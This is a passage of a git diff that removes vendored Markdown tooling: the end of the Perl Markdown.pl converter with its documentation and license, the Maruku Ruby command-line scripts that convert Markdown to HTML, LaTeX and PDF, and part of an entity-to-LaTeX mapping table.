-#         ... type <code>`bar`</code> ...
-#
-
-	my $text = shift;
-
-	$text =~ s@
-			(`+)		# $1 = Opening run of `
-			(.+?)		# $2 = The code block
-			(?<!`)
-			\1			# Matching closer
-			(?!`)
-		@
- 			my $c = "$2";
- 			$c =~ s/^[ \t]*//g; # leading whitespace
- 			$c =~ s/[ \t]*$//g; # trailing whitespace
- 			$c = _EncodeCode($c);
-			"<code>$c</code>";
-		@egsx;
-
-	return $text;
-}
-
-
-sub _EncodeCode {
-#
-# Encode/escape certain characters inside Markdown code runs.
-# The point is that in code, these characters are literals,
-# and lose their special Markdown meanings.
-#
-    local $_ = shift;
-
-	# Encode all ampersands; HTML entities are not
-	# entities within a Markdown code span.
-	s/&/&amp;/g;
-
-	# Encode $'s, but only if we're running under Blosxom.
-	# (Blosxom interpolates Perl variables in article bodies.)
-	{
-		no warnings 'once';
-    	if (defined($blosxom::version)) {
-    		s/\$/&#036;/g;	
-    	}
-    }
-
-
-	# Do the angle bracket song and dance:
-	s! <  !&lt;!gx;
-	s! >  !&gt;!gx;
-
-	# Now, escape characters that are magic in Markdown:
-	s! \* !$g_escape_table{'*'}!gx;
-	s! _  !$g_escape_table{'_'}!gx;
-	s! {  !$g_escape_table{'{'}!gx;
-	s! }  !$g_escape_table{'}'}!gx;
-	s! \[ !$g_escape_table{'['}!gx;
-	s! \] !$g_escape_table{']'}!gx;
-	s! \\ !$g_escape_table{'\\'}!gx;
-
-	return $_;
-}
-
-
-sub _DoItalicsAndBold {
-	my $text = shift;
-
-	# <strong> must go first:
-	$text =~ s{ (\*\*|__) (?=\S) (.+?[*_]*) (?<=\S) \1 }
-		{<strong>$2</strong>}gsx;
-
-	$text =~ s{ (\*|_) (?=\S) (.+?) (?<=\S) \1 }
-		{<em>$2</em>}gsx;
-
-	return $text;
-}
-
-
-sub _DoBlockQuotes {
-	my $text = shift;
-
-	$text =~ s{
-		  (								# Wrap whole match in $1
-			(
-			  ^[ \t]*>[ \t]?			# '>' at the start of a line
-			    .+\n					# rest of the first line
-			  (.+\n)*					# subsequent consecutive lines
-			  \n*						# blanks
-			)+
-		  )
-		}{
-			my $bq = $1;
-			$bq =~ s/^[ \t]*>[ \t]?//gm;	# trim one level of quoting
-			$bq =~ s/^[ \t]+$//mg;			# trim whitespace-only lines
-			$bq = _RunBlockGamut($bq);		# recurse
-
-			$bq =~ s/^/  /g;
-			# These leading spaces screw with <pre> content, so we need to fix that:
-			$bq =~ s{
-					(\s*<pre>.+?</pre>)
-				}{
-					my $pre = $1;
-					$pre =~ s/^  //mg;
-					$pre;
-				}egsx;
-
-			"<blockquote>\n$bq\n</blockquote>\n\n";
-		}egmx;
-
-
-	return $text;
-}
-
-
-sub _FormParagraphs {
-#
-#	Params:
-#		$text - string to process with html <p> tags
-#
-	my $text = shift;
-
-	# Strip leading and trailing lines:
-	$text =~ s/\A\n+//;
-	$text =~ s/\n+\z//;
-
-	my @grafs = split(/\n{2,}/, $text);
-
-	#
-	# Wrap <p> tags.
-	#
-	foreach (@grafs) {
-		unless (defined( $g_html_blocks{$_} )) {
-			$_ = _RunSpanGamut($_);
-			s/^([ \t]*)/<p>/;
-			$_ .= "</p>";
-		}
-	}
-
-	#
-	# Unhashify HTML blocks
-	#
-	foreach (@grafs) {
-		if (defined( $g_html_blocks{$_} )) {
-			$_ = $g_html_blocks{$_};
-		}
-	}
-
-	return join "\n\n", @grafs;
-}
-
-
-sub _EncodeAmpsAndAngles {
-# Smart processing for ampersands and angle brackets that need to be encoded.
-
-	my $text = shift;
-
-	# Ampersand-encoding based entirely on Nat Irons's Amputator MT plugin:
-	#   http://bumppo.net/projects/amputator/
- 	$text =~ s/&(?!#?[xX]?(?:[0-9a-fA-F]+|\w+);)/&amp;/g;
-
-	# Encode naked <'s
- 	$text =~ s{<(?![a-z/?\$!])}{&lt;}gi;
-
-	return $text;
-}
-
-
-sub _EncodeBackslashEscapes {
-#
-#   Parameter:  String.
-#   Returns:    The string, with after processing the following backslash
-#               escape sequences.
-#
-    local $_ = shift;
-
-    s! \\\\  !$g_escape_table{'\\'}!gx;		# Must process escaped backslashes first.
-    s! \\`   !$g_escape_table{'`'}!gx;
-    s! \\\*  !$g_escape_table{'*'}!gx;
-    s! \\_   !$g_escape_table{'_'}!gx;
-    s! \\\{  !$g_escape_table{'{'}!gx;
-    s! \\\}  !$g_escape_table{'}'}!gx;
-    s! \\\[  !$g_escape_table{'['}!gx;
-    s! \\\]  !$g_escape_table{']'}!gx;
-    s! \\\(  !$g_escape_table{'('}!gx;
-    s! \\\)  !$g_escape_table{')'}!gx;
-    s! \\>   !$g_escape_table{'>'}!gx;
-    s! \\\#  !$g_escape_table{'#'}!gx;
-    s! \\\+  !$g_escape_table{'+'}!gx;
-    s! \\\-  !$g_escape_table{'-'}!gx;
-    s! \\\.  !$g_escape_table{'.'}!gx;
-    s{ \\!  }{$g_escape_table{'!'}}gx;
-
-    return $_;
-}
-
-
-sub _DoAutoLinks {
-	my $text = shift;
-
-	$text =~ s{<((https?|ftp):[^'">\s]+)>}{<a href="$1">$1</a>}gi;
-
-	# Email addresses: <address@domain.foo>
-	$text =~ s{
-		<
-        (?:mailto:)?
-		(
-			[-.\w]+
-			\@
-			[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+
-		)
-		>
-	}{
-		_EncodeEmailAddress( _UnescapeSpecialChars($1) );
-	}egix;
-
-	return $text;
-}
-
-
-sub _EncodeEmailAddress {
-#
-#	Input: an email address, e.g. "foo@example.com"
-#
-#	Output: the email address as a mailto link, with each character
-#		of the address encoded as either a decimal or hex entity, in
-#		the hopes of foiling most address harvesting spam bots. E.g.:
-#
-#	  <a href="&#x6D;&#97;&#105;&#108;&#x74;&#111;:&#102;&#111;&#111;&#64;&#101;
-#       x&#x61;&#109;&#x70;&#108;&#x65;&#x2E;&#99;&#111;&#109;">&#102;&#111;&#111;
-#       &#64;&#101;x&#x61;&#109;&#x70;&#108;&#x65;&#x2E;&#99;&#111;&#109;</a>
-#
-#	Based on a filter by Matthew Wickline, posted to the BBEdit-Talk
-#	mailing list: <http://tinyurl.com/yu7ue>
-#
-
-	my $addr = shift;
-
-	srand;
-	my @encode = (
-		sub { '&#' .                 ord(shift)   . ';' },
-		sub { '&#x' . sprintf( "%X", ord(shift) ) . ';' },
-		sub {                            shift          },
-	);
-
-	$addr = "mailto:" . $addr;
-
-	$addr =~ s{(.)}{
-		my $char = $1;
-		if ( $char eq '@' ) {
-			# this *must* be encoded. I insist.
-			$char = $encode[int rand 1]->($char);
-		} elsif ( $char ne ':' ) {
-			# leave ':' alone (to spot mailto: later)
-			my $r = rand;
-			# roughly 10% raw, 45% hex, 45% dec
-			$char = (
-				$r > .9   ?  $encode[2]->($char)  :
-				$r < .45  ?  $encode[1]->($char)  :
-							 $encode[0]->($char)
-			);
-		}
-		$char;
-	}gex;
-
-	$addr = qq{<a href="$addr">$addr</a>};
-	$addr =~ s{">.+?:}{">}; # strip the mailto: from the visible part
-
-	return $addr;
-}
-
-
-sub _UnescapeSpecialChars {
-#
-# Swap back in all the special characters we've hidden.
-#
-	my $text = shift;
-
-	while( my($char, $hash) = each(%g_escape_table) ) {
-		$text =~ s/$hash/$char/g;
-	}
-    return $text;
-}
-
-
-sub _TokenizeHTML {
-#
-#   Parameter:  String containing HTML markup.
-#   Returns:    Reference to an array of the tokens comprising the input
-#               string. Each token is either a tag (possibly with nested,
-#               tags contained therein, such as <a href="<MTFoo>">, or a
-#               run of text between tags. Each element of the array is a
-#               two-element array; the first is either 'tag' or 'text';
-#               the second is the actual value.
-#
-#
-#   Derived from the _tokenize() subroutine from Brad Choate's MTRegex plugin.
-#       <http://www.bradchoate.com/past/mtregex.php>
-#
-
-    my $str = shift;
-    my $pos = 0;
-    my $len = length $str;
-    my @tokens;
-
-    my $depth = 6;
-    my $nested_tags = join('|', ('(?:<[a-z/!$](?:[^<>]') x $depth) . (')*>)' x  $depth);
-    my $match = qr/(?s: <! ( -- .*? -- \s* )+ > ) |  # comment
-                   (?s: <\? .*? \?> ) |              # processing instruction
-                   $nested_tags/ix;                   # nested tags
-
-    while ($str =~ m/($match)/g) {
-        my $whole_tag = $1;
-        my $sec_start = pos $str;
-        my $tag_start = $sec_start - length $whole_tag;
-        if ($pos < $tag_start) {
-            push @tokens, ['text', substr($str, $pos, $tag_start - $pos)];
-        }
-        push @tokens, ['tag', $whole_tag];
-        $pos = pos $str;
-    }
-    push @tokens, ['text', substr($str, $pos, $len - $pos)] if $pos < $len;
-    \@tokens;
-}
-
-
-sub _Outdent {
-#
-# Remove one level of line-leading tabs or spaces
-#
-	my $text = shift;
-
-	$text =~ s/^(\t|[ ]{1,$g_tab_width})//gm;
-	return $text;
-}
-
-
-sub _Detab {
-#
-# Cribbed from a post by Bart Lateur:
-# <http://www.nntp.perl.org/group/perl.macperl.anyperl/154>
-#
-	my $text = shift;
-
-	$text =~ s{(.*?)\t}{$1.(' ' x ($g_tab_width - length($1) % $g_tab_width))}ge;
-	return $text;
-}
-
-
-1;
-
-__END__
-
-
-=pod
-
-=head1 NAME
-
-B<Markdown>
-
-
-=head1 SYNOPSIS
-
-B<Markdown.pl> [ B<--html4tags> ] [ B<--version> ] [ B<-shortversion> ]
-    [ I<file> ... ]
-
-
-=head1 DESCRIPTION
-
-Markdown is a text-to-HTML filter; it translates an easy-to-read /
-easy-to-write structured text format into HTML. Markdown's text format
-is most similar to that of plain text email, and supports features such
-as headers, *emphasis*, code blocks, blockquotes, and links.
-
-Markdown's syntax is designed not as a generic markup language, but
-specifically to serve as a front-end to (X)HTML. You can  use span-level
-HTML tags anywhere in a Markdown document, and you can use block level
-HTML tags (like <div> and <table> as well).
-
-For more information about Markdown's syntax, see:
-
-    http://daringfireball.net/projects/markdown/
-
-
-=head1 OPTIONS
-
-Use "--" to end switch parsing. For example, to open a file named "-z", use:
-
-	Markdown.pl -- -z
-
-=over 4
-
-
-=item B<--html4tags>
-
-Use HTML 4 style for empty element tags, e.g.:
-
-    <br>
-
-instead of Markdown's default XHTML style tags, e.g.:
-
-    <br />
-
-
-=item B<-v>, B<--version>
-
-Display Markdown's version number and copyright information.
-
-
-=item B<-s>, B<--shortversion>
-
-Display the short-form version number.
-
-
-=back
-
-
-
-=head1 BUGS
-
-To file bug reports or feature requests (other than topics listed in the
-Caveats section above) please send email to:
-
-    support@daringfireball.net
-
-Please include with your report: (1) the example input; (2) the output
-you expected; (3) the output Markdown actually produced.
-
-
-=head1 VERSION HISTORY
-
-See the readme file for detailed release notes for this version.
-
-1.0.1 - 14 Dec 2004
-
-1.0 - 28 Aug 2004
-
-
-=head1 AUTHOR
-
-    John Gruber
-    http://daringfireball.net
-
-    PHP port and other contributions by Michel Fortin
-    http://michelf.com
-
-
-=head1 COPYRIGHT AND LICENSE
-
-Copyright (c) 2003-2004 John Gruber   
-<http://daringfireball.net/>   
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are
-met:
-
-* Redistributions of source code must retain the above copyright notice,
-  this list of conditions and the following disclaimer.
-
-* Redistributions in binary form must reproduce the above copyright
-  notice, this list of conditions and the following disclaimer in the
-  documentation and/or other materials provided with the distribution.
-
-* Neither the name "Markdown" nor the names of its contributors may
-  be used to endorse or promote products derived from this software
-  without specific prior written permission.
-
-This software is provided by the copyright holders and contributors "as
-is" and any express or implied warranties, including, but not limited
-to, the implied warranties of merchantability and fitness for a
-particular purpose are disclaimed. In no event shall the copyright owner
-or contributors be liable for any direct, indirect, incidental, special,
-exemplary, or consequential damages (including, but not limited to,
-procurement of substitute goods or services; loss of use, data, or
-profits; or business interruption) however caused and on any theory of
-liability, whether in contract, strict liability, or tort (including
-negligence or otherwise) arising in any way out of the use of this
-software, even if advised of the possibility of such damage.
-
-=cut
diff --git a/vendor/plugins/maruku/bin/marudown b/vendor/plugins/maruku/bin/marudown
deleted file mode 100644
index c5f52527..00000000
--- a/vendor/plugins/maruku/bin/marudown
+++ /dev/null
@@ -1,29 +0,0 @@
-#!/usr/bin/env ruby
-
-require 'maruku'
-
-	# If we are given filenames, convert each file 
-	if not ARGV.empty?
-		ARGV.each do |f|
-			puts "Opening #{f}"
-	
-			# read file content
-			input =  File.open(f,'r').read
-		
-			# create Maruku
-			doc = Maruku.new(input, {:on_error=>:warning})
-			# convert to a complete html document
-			output = doc.to_md
-	
-			# write to file
-			dir = File.dirname(f)
-			filename = File.basename(f, File.extname(f)) + ".txt"
-
-			output = File.join(dir, filename)	
-			File.open(output,'w') do |f| f.puts html end
-		end
-	else
-		# else, act as a filter
-		data = $stdin.read
-		puts Maruku.new(data, {:on_error=>:warning}).to_md
-	end
diff --git a/vendor/plugins/maruku/bin/maruku b/vendor/plugins/maruku/bin/maruku
deleted file mode 100644
index aa24228f..00000000
--- a/vendor/plugins/maruku/bin/maruku
+++ /dev/null
@@ -1,176 +0,0 @@
-#!/usr/bin/env ruby
-
-require 'maruku'
-require 'optparse'
-
-def cli_puts(s)
-	$stderr.puts(s) if MaRuKu::Globals[:verbose]	
-end
-
-
-export = :html
-break_on_error = false
-using_math = false
-using_mathml = false
-output_file = nil
-
-opt = OptionParser.new do |opts|
-	opts.banner = "Usage: maruku [options] [file1.md [file2.md ..."
-
-	opts.on("-v", "--[no-]verbose", "Run verbosely") do |v|
-		MaRuKu::Globals[:verbose] = v end
-	opts.on("-u", "--[no-]unsafe", "Use unsafe features") do |v|
-		MaRuKu::Globals[:unsafe_features] = v end
-
-	opts.on("-b", "Break on error") do |v|
-		break_on_error = true end
-
-
-	opts.on("-i", "--math-images ENGINE", "Uses ENGINE to render TeX to PNG.") do |s|
-		using_math = true
-		MaRuKu::Globals[:html_math_output_png] = true
-		MaRuKu::Globals[:html_math_output_mathml] = false
-		MaRuKu::Globals[:html_png_engine] = s
-		cli_puts "Using png engine #{s}."
-	end
-
-	opts.on("-m", "--math-engine ENGINE", "Uses ENGINE to render MathML") do |s|
-		MaRuKu::Globals[:html_math_output_png] = false
-		MaRuKu::Globals[:html_math_output_mathml] = true
-		using_math = true
-		using_mathml = true
-		MaRuKu::Globals[:html_math_engine] = s
-	end
-
-	opts.on("-o", "--output FILE", "Output filename") do |s|
-		output_file = s
-	end
-
-	opts.on_tail("--pdf",  "Write PDF","First writes LaTeX, then calls pdflatex." ) do export = :pdf  end
-	opts.on_tail("--s5", "Write S5 slideshow") do export = :s5 end
-	opts.on_tail("--html", "Write HTML") do export = :html end
-	opts.on_tail("--html-frag", "Write the contents of the BODY.") do export = :html_frag end
-	opts.on_tail("--tex",  "Write LaTeX" ) do export = :tex  end
-	opts.on_tail("--inspect",  "Shows the parsing result" ) do export = :inspect  end
-
-	opts.on_tail("--version", "Show version") do
-		puts "Maruku #{MaRuKu::Version}"; exit
-	end
-
-	opts.on_tail("-h", "--help", "Show this message") do
-		puts opts
-		exit
-	end
-
-end
-
-begin 
-opt.parse!
-rescue OptionParser::InvalidOption=>e
-	$stderr.puts e
-	$stderr.puts opt
-	exit
-end
-
-
-if using_math
-	cli_puts "Using Math extensions."
-	require 'maruku/ext/math'
-end
-
-#p ARGV
-#p MaRuKu::Globals
-
-
-inputs =
-# If we are given filenames, convert each file 
-if not ARGV.empty?
-	ARGV.map do |f|
-		# read file content
-		cli_puts "Reading from file #{f.inspect}." 
-		[f, File.open(f,'r').read]
-	end
-else
-	export = :html_frag if export == :html
-	export = :tex_frag if export == :tex
-	
-	cli_puts  "Reading from standard input."
-	[[nil, $stdin.read]]
-end
-
-inputs.each do |f, input|
-	
-		# create Maruku
-		params = {}
-		params[:on_error] = break_on_error ? :raise : :warning
-
-		t = Time.now
-		doc = Maruku.new(input, params)
-
-		cli_puts ("Parsing in %.2f seconds." % (Time.now-t))
-
-		out=""; suffix = "?"
-		t = Time.now
-		case export
-		when :html 
-			suffix = using_mathml ? '.xhtml' : '.html'
-			out = doc.to_html_document( {:indent => -1})
-		when :html_frag 
-			suffix='.html_frag'
-			out = doc.to_html( {:indent => -1})
-		when :pdf, :tex
-			suffix='.tex'
-			out = doc.to_latex_document
-		when :tex_frag
-			suffix='.tex_frag'
-			out = doc.to_latex
-		when :inspect
-			suffix='.txt'
-			out = doc.inspect
-		when :markdown
-			suffix='.pretty_md'
-			out = doc.to_markdown
-		when :s5
-			suffix='_s5slides.html'
-			out = doc.to_s5({:content_only => false})
-		end
-
-		cli_puts("Rendering in %.2f seconds." % (Time.now-t))
-	
-		# write to file or stdout
-		if f
-			
-			if not output_file 
-				dir = File.dirname(f)
-				job = File.join(dir, File.basename(f, File.extname(f)))
-				output_file = job  + suffix
-			else
-				job = File.basename(output_file, File.extname(output_file))
-			end
-			
-			if output_file == "-"
-				cli_puts "Writing to standard output"
-				$stdout.puts out
-			else
-			
-				if not (export == :pdf)
-					cli_puts "Writing to #{output_file}"
-					File.open(output_file,'w') do |f| f.puts out end
-				else
-					cli_puts "Writing to #{job}.tex"
-					File.open("#{job}.tex",'w') do |f| f.puts out end
-					cmd = "pdflatex '#{job}.tex' -interaction=nonstopmode "+
-					      "'-output-directory=#{dir}' "
-					cli_puts "maruku: executing $ #{cmd}"
-					# run twice for cross references
-					system cmd 
-					system cmd
-				end
-			
-			end
-		else # write to stdout
-			cli_puts "Writing to standard output"
-			$stdout.puts out
-		end
-	end
-	
diff --git a/vendor/plugins/maruku/bin/marutex b/vendor/plugins/maruku/bin/marutex
deleted file mode 100644
index b3ed099d..00000000
--- a/vendor/plugins/maruku/bin/marutex
+++ /dev/null
@@ -1,31 +0,0 @@
-#!/usr/bin/env ruby
-
-require 'maruku'
-
-if File.basename($0) =~ /^marutex/
-	# Convert each file 
-	ARGV.each do |f|
-		puts "Opening #{f}"
-	
-		# read file content
-		input =  File.open(f,'r').read
-		
-		# create Maruku
-		doc = Maruku.new(input)
-		# convert to a complete html document
-		latex = doc.to_latex_document
-	
-		# write to file
-		dir = File.dirname(f)
-		job = File.join(dir, File.basename(f, File.extname(f)))
-		filename = job + ".tex"
-
-		File.open(filename,'w') do |f| f.puts latex end
-
-		# run twice for cross references
-		system "pdflatex '#{job}'  '-output-directory=#{dir}' "
-		system "pdflatex '#{job}' '-output-directory=#{dir}' "
-		
-#		system "open #{job}.pdf"
-	end
-end
\ No newline at end of file
diff --git a/vendor/plugins/maruku/data/entities.xml b/vendor/plugins/maruku/data/entities.xml
deleted file mode 100644
index cc72ca55..00000000
--- a/vendor/plugins/maruku/data/entities.xml
+++ /dev/null
@@ -1,261 +0,0 @@
-<!-- A conversion chart for html elements, courtesy of text2html -->
-<chars>
-  <char num='913' name='Alpha' convertTo='$A$' />
-  <char num='914' name='Beta' convertTo='$B$' />
-  <char num='915' name='Gamma' convertTo='$\Gamma$' />
-  <char num='916' name='Delta' convertTo='$\Delta$' />
-  <char num='917' name='Epsilon' convertTo='$E$' />
-  <char num='918' name='Zeta' convertTo='$Z$' />
-  <char num='919' name='Eta' convertTo='$H$' />
-  <char num='920' name='Theta' convertTo='$\Theta$' />
-  <char num='921' name='Iota' convertTo='$I$' />
-  <char num='922' name='Kappa' convertTo='$K$' />
-  <char num='923' name='Lambda' convertTo='$\Lambda$' />
-  <char num='924' name='Mu' convertTo='$M$' />
-  <char num='925' name='Nu' convertTo='$N$' />
-  <char num='926' name='Xi' convertTo='$\Xi$' />
-  <char num='927' name='Omicron' convertTo='$O$' />
-  <char num='928' name='Pi' convertTo='$\Pi$' />
-  <char num='929' name='Rho' convertTo='$P$' />
-  <char num='931' name='Sigma' convertTo='$\Sigma$' />
-  <char num='932' name='Tau' convertTo='$T$' />
-  <char num='933' name='Upsilon' convertTo='$Y$' />
-  <char num='934' name='Phi' convertTo='$\Phi$' />
-  <char num='935' name='Chi' convertTo='$X$' />
-  <char num='936' name='Psi' convertTo='$\Psi$' />
-  <char num='937' name='Omega' convertTo='$\Omega$' />
-  <char num='945' name='alpha' convertTo='$\alpha$' />
-  <char num='946' name='beta' convertTo='$\beta$' />
-  <char num='947' name='gamma' convertTo='$\gamma$' />
-  <char num='948' name='delta' convertTo='$\delta$' />
-  <char num='949' name='epsilon' convertTo='$\epsilon$' />
-  <char num='950' name='zeta' convertTo='$\zeta$' />
-  <char num='951' name='eta' convertTo='$\eta$' />
-  <char num='952' name='theta' convertTo='$\theta$' />
-  <char num='953' name='iota' convertTo='$\iota$' />
-  <char num='954' name='kappa' convertTo='$\kappa$' />
-  <char num='955' name='lambda' convertTo='$\lambda$' />
-  <char num='956' name='mu' convertTo='$\mu$' />
-  
-  <char num='957' name='nu' convertTo='$\nu$' />
-  <char num='958' name='xi' convertTo='$\xi$' />
-  <char num='959' name='omicron' convertTo='$o$' />
-  <char num='960' name='pi' convertTo='$\pi$' />
-  <char num='961' name='rho' convertTo='$\rho$' />
-  <char num='963' name='sigma' convertTo='$\sigma$' />
-  <char num='964' name='tau' convertTo='$\tau$' />
-  <char num='965' name='upsilon' convertTo='$\upsilon$' />
-  <char num='966' name='phi' convertTo='$\phi$' />
-  
-  <char num='967' name='chi' convertTo='$\chi$' />
-  <char num='968' name='psi' convertTo='$\psi$' />
-  <char num='969' name='omega' convertTo='$\omega$' />
-  <char num='962' name='sigmaf' convertTo='$\varsigma$' />
-  <char num='977' name='thetasym' convertTo='$\vartheta$' />
-  <char num='982' name='piv' convertTo='$\varpi$' />
-  <char num='8230' name='hellip' convertTo='\ldots' />
-  <char num='8242' name='prime' convertTo='$\prime$' />
-  <char num='8254' name='oline' convertTo='-' />
-  
-  <char num='8260' name='frasl' convertTo='/' />
-  <char num='8472' name='weierp' convertTo='$\wp$' />
-  <char num='8465' name='image' convertTo='$\Im$' />
-  <char num='8476' name='real' convertTo='$\Re$' />
-  <char num='8501' name='alefsym' convertTo='$\aleph$' />
-  <char num='8226' name='bull' convertTo='$\bullet$' />
-  <char num='8482' name='trade' convertTo='$^{\rm TM}$' /> <!-- 	exttrademark -->
-  <char num='8592' name='larr' convertTo='$\leftarrow$' />
-  
-  <char num='8594' name='rarr' convertTo='$\rightarrow$' />
-  <char num='8593' name='uarr' convertTo='$\uparrow$' />
-  <char num='8595' name='darr' convertTo='$\downarrow$' />
-  <char num='8596' name='harr' convertTo='$\leftrightarrow$' />
-  <char num='8629' name='crarr' convertTo='$\hookleftarrow$' />
-  <char num='8657' name='uArr' convertTo='$\Uparrow$' />
-  <char num='8659' name='dArr' convertTo='$\Downarrow$' />
-  <char num='8656' name='lArr' convertTo='$\Leftarrow$' />
-  <char num='8658' name='rArr' convertTo='$\Rightarrow$' />
-  
-  <char num='8660' name='hArr' convertTo='$\Leftrightarrow$' />
-  <char num='8704' name='forall' convertTo='$\forall$' />
-  <char num='8706' name='part' convertTo='$\partial$' />
-  <char num='8707' name='exist' convertTo='$\exists$' />
-  <char num='8709' name='empty' convertTo='$\emptyset$' />
-  <char num='8711' name='nabla' convertTo='$\nabla$' />
-  <char num='8712' name='isin' convertTo='$\in$' />
-  <char num='8715' name='ni' convertTo='$\ni$' />
-  <char num='8713' name='notin' convertTo='$\notin$' />
-  
-  <char num='8721' name='sum' convertTo='$\sum$' />
-  <char num='8719' name='prod' convertTo='$\prod$' />
-  <char num='8722' name='minus' convertTo='$-$' />
-  <char num='8727' name='lowast' convertTo='$\ast$' />
-  <char num='8730' name='radic' convertTo='$\surd$' />
-  <char num='8733' name='prop' convertTo='$\propto$' />
-  <char num='8734' name='infin' convertTo='$\infty$' />
-  <char num='8736' name='ang' convertTo='$\angle$' />
-  <char num='8743' name='and' convertTo='$\wedge$' />
-  
-  <char num='8744' name='or' convertTo='$\vee$' />
-  <char num='8745' name='cup' convertTo='$\cup$' />
-  <char num='8746' name='cap' convertTo='$\cap$' />
-  <char num='8747' name='int' convertTo='$\int$' />
-  <char num='8756' name='there4' convertTo='$\therefore$' package='amssymb' /> <!-- only AMS -->
-  <char num='8764' name='sim' convertTo='$\sim$' />
-  <char num='8776' name='asymp' convertTo='$\approx$' />
-  <char num='8773' name='cong' convertTo='$\cong$' />
-  
-  <char num='8800' name='ne' convertTo='$\neq$' />
-  <char num='8801' name='equiv' convertTo='$\equiv$' />
-  <char num='8804' name='le' convertTo='$\leq$' />
-  <char num='8805' name='ge' convertTo='$\geq$' />
-  <char num='8834' name='sub' convertTo='$\subset$' />
-  <char num='8835' name='sup' convertTo='$\supset$' />
-  <!--	<char num='8838' name='sube' convertTo='$\subseteq$' />-->
-  <char num='8839' name='supe' convertTo='$\supseteq$' />
-  <!--	  <char num='8836' name='nsub' convertTo='$\nsubset$'  /> only AMS -->
-
-  <char num='8853' name='oplus' convertTo='$\oplus$' />
-  <char num='8855' name='otimes' convertTo='$\otimes$' />
-  <char num='8869' name='perp' convertTo='$\perp$' />
-  <char num='8901' name='sdot' convertTo='$\cdot$' />
-  <char num='8968' name='rceil' convertTo='$\rceil$' />
-  <char num='8969' name='lceil' convertTo='$\lceil$' />
-  <char num='8970' name='lfloor' convertTo='$\lfloor$' />
-  <char num='8971' name='rfloor' convertTo='$\rfloor$' />
-  <char num='9001' name='rang' convertTo='$\rangle$' />
-  
-  <char num='9002' name='lang' convertTo='$\langle$' />
-  <char num='9674' name='loz' convertTo='$\lozenge$' package='amssymb' /> <!-- only AMS -->
-  <char num='9824' name='spades' convertTo='$\spadesuit$' />
-  <char num='9827' name='clubs' convertTo='$\clubsuit$' />
-  <char num='9829' name='hearts' convertTo='$\heartsuit$' />
-  <char num='9830' name='diams' convertTo='$\diamondsuit$' />                                     
-  <char num='38' name='amp' convertTo='\@AMP' />    
-  <!--	  <char num='34' name='quot' convertTo='\@DOUBLEQUOT' />  XXX -->
-  <char num='34' name='quot' convertTo='&quot;' /> 
-  <char num='39' name='apos' convertTo="'" /> 
-  <char num='169' name='copy' convertTo='\copyright' />
-          
-  <char num='60' name='lt' convertTo='$@LT$' />
-  <char num='62' name='gt' convertTo='$@GT$' />
-  <char num='338' name='OElig' convertTo='\OE' />
-  <char num='339' name='oelig' convertTo='\oe' />
-  <char num='352' name='Scaron' convertTo='\v{S}' />
-  <char num='353' name='scaron' convertTo='\v{s}' />
-  <char num='376' name='Yuml' convertTo='\"Y' />
-  <char num='710' name='circ' convertTo='\textasciicircum' />
-  <char num='732' name='tilde' convertTo='\textasciitilde' />
-  
-  <char num='8211' name='ndash' convertTo='--' />
-  <char num='8212' name='mdash' convertTo='---' />
-  <char num='8216' name='lsquo' convertTo='`' />
-  <char num='8217' name='rsquo' convertTo="'" /> <!-- XXXX -->
-  <char num='8220' name='ldquo' convertTo='``' />
-  <char num='8221' name='rdquo' convertTo="''" /> <!-- XXXX -->
-  <char num='8224' name='dagger' convertTo='\dag' />
-  <char num='8225' name='Dagger' convertTo='\ddag' />
-  <char num='8240' name='permil' convertTo='\permil' package='wasysym' /> <!-- wasysym package -->
-  
-  <char num='8364' name='euro' convertTo='\euro' package='eurosym' /> <!-- eurosym package -->
-  <char num='8249' name='lsaquo' convertTo='\guilsinglleft' package='aeguill'/>
-  <char num='8250' name='rsaquo' convertTo='\guilsinglright' package='aeguill' />
-  <!--	  <char num='160' name='nbsp' convertTo='\nolinebreak' />-->
-  <char num='160' name='nbsp' convertTo='~' />
-  <char num='161' name='iexcl' convertTo='\textexclamdown' />
-  <char num='163' name='pound' convertTo='\pounds' />
-  <char num='164' name='curren' convertTo='\currency' package='wasysym' /> <!-- wasysym package -->
-  <char num='165' name='yen' convertTo='\textyen' package='textcomp'/> <!-- textcomp -->
-  
-  <char num='166' name='brvbar' convertTo='\brokenvert' /> <!-- wasysym -->
-  <char num='167' name='sect' convertTo='\S' />
-  <char num='171' name='laquo' convertTo='\guillemotleft' package='aeguill'/>
-  <char num='187' name='raquo' convertTo='\guillemotright' package='aeguill'/>
-  <char num='174' name='reg' convertTo='\textregistered' />
-  <char num='170' name='ordf' convertTo='\textordfeminine' />
-  <char num='172' name='not' convertTo='$\neg$' />
-  <!--  <char num='176' name='deg' convertTo='$\degree$' /> mathabx -->
-  <char num='176' name='deg' convertTo='\textdegree' package='textcomp'/>
-        
-  <char num='177' name='plusmn' convertTo='$\pm$' />
-  <char num='180' name='acute' convertTo='@QUOT' />
-  <char num='181' name='micro' convertTo='$\mu$' />
-  <char num='182' name='para' convertTo='\P' />
-  <char num='183' name='middot' convertTo='$\cdot$' />
-  <char num='186' name='ordm' convertTo='\textordmasculine' />
-  <char num='162' name='cent' convertTo='\cent' package='wasysym' /> 
-  <char num='185' name='sup1' convertTo='$^1$' />
-  
-  <char num='178' name='sup2' convertTo='$^2$' />
-  <char num='179' name='sup3' convertTo='$^3$' />
-  <char num='189' name='frac12' convertTo='$\frac{1}{2}$' />
-  <char num='188' name='frac14' convertTo='$\frac{1}{4}$' />
-  <char num='190' name='frac34' convertTo='$\frac{3}{4}$' />
-  <char num='192' name='Agrave' convertTo='\`A' />
-  <char num='193' name='Aacute' convertTo='\@QUOTA' />
-  <char num='194' name='Acirc' convertTo='\^A' />
-  <char num='195' name='Atilde' convertTo='\~A' />
-  
-  <char num='196' name='Auml' convertTo='\@DOUBLEQUOTA' />
-  <char num='197' name='Aring' convertTo='\AA' />
-  <char num='198' name='AElig' convertTo='\AE' />
-  <char num='199' name='Ccedil' convertTo='\c{C}' />
-  <char num='200' name='Egrave' convertTo='\`E' />
-  <char num='201' name='Eacute' convertTo='\@QUOTE' />
-  <char num='202' name='Ecirc' convertTo='\^E' />
-  <char num='203' name='Euml' convertTo='\@DOUBLEQUOTE' />
-  <char num='204' name='Igrave' convertTo='\`I' />
-  <char num='205' name='Iacute' convertTo='\@QUOTI' />
-  <char num='206' name='Icirc' convertTo='\^I' />
-  <char num='207' name='Iuml' convertTo='\"I' />
-  <char num='208' name='ETH' convertTo='$\eth$' /> <!-- AMS -->
-  <char num='209' name='Ntilde' convertTo='\~N' />    
